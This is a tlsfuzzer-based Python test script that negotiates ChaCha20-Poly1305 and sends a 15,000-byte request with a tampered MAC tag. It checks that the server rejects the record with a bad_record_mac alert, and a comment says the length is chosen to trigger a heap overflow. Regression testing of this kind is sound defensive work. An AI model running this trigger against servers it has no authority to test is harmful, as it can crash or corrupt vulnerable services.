from __future__ import print_function
import traceback
import sys

from tlsfuzzer.runner import Runner
from tlsfuzzer.messages import Connect, ClientHelloGenerator, \
        ClientKeyExchangeGenerator, ChangeCipherSpecGenerator, \
        FinishedGenerator, ApplicationDataGenerator, \
        fuzz_encrypted_message
from tlsfuzzer.expect import ExpectServerHello, ExpectCertificate, \
        ExpectServerHelloDone, ExpectChangeCipherSpec, ExpectFinished, \
        ExpectAlert, ExpectClose, ExpectServerKeyExchange

from tlslite.constants import CipherSuite, AlertLevel, AlertDescription

def usage() :
    return 'Usage ./{} Destination_IP Destination_Port'.format(sys.argv[0])

def main():
    if len(sys.argv) < 3:
        print(usage())
        return -1
    conversations = {}
    # 16 chars: POLY1305 tag 128 bit
    # Tampering one bit suffices to damage the mac
    # The payload has to be long enough to trigger heap overflow
    n = 15000
    fuzzes = [(-1, 1)]
    for pos, val in fuzzes:
        conversation = Connect(sys.argv[1], int(sys.argv[2]))
        node = conversation
        ciphers = [CipherSuite.TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256]
        node = node.add_child(ClientHelloGenerator(ciphers))
        node = node.add_child(ExpectServerHello())
        node = node.add_child(ExpectCertificate())
        node = node.add_child(ExpectServerKeyExchange())
        node = node.add_child(ExpectServerHelloDone())
        node = node.add_child(ClientKeyExchangeGenerator())
        node = node.add_child(ChangeCipherSpecGenerator())
        node = node.add_child(FinishedGenerator())
        node = node.add_child(ExpectChangeCipherSpec())
        node = node.add_child(ExpectFinished())
        node = node.add_child(fuzz_encrypted_message(
            ApplicationDataGenerator(b"GET / HTTP/1.0\n" + n * b"A" + b"\n\n"), xors={pos:val}))
        node = node.add_child(ExpectAlert(AlertLevel.fatal,
                                          AlertDescription.bad_record_mac))
        node = node.add_child(ExpectClose())

        conversations["XOR position " + str(pos) + " with " + str(hex(val))] = \
                conversation

    # run the conversation
    good = 0
    bad = 0

    for conversation_name in conversations:
        conversation = conversations[conversation_name]
        #print(conversation_name + "...")
        runner = Runner(conversation)
        res = True
        try:
            runner.run()
        except:
            print("Error while processing")
            print(traceback.format_exc())
            res = False
        if res:
            good+=1
            print("OK")
        else:
            bad+=1

    print("Test end")
    print("successful: {0}".format(good))
    print("failed: {0}".format(bad))

    if bad > 0:
        sys.exit(1)

if __name__ == "__main__":
    main()
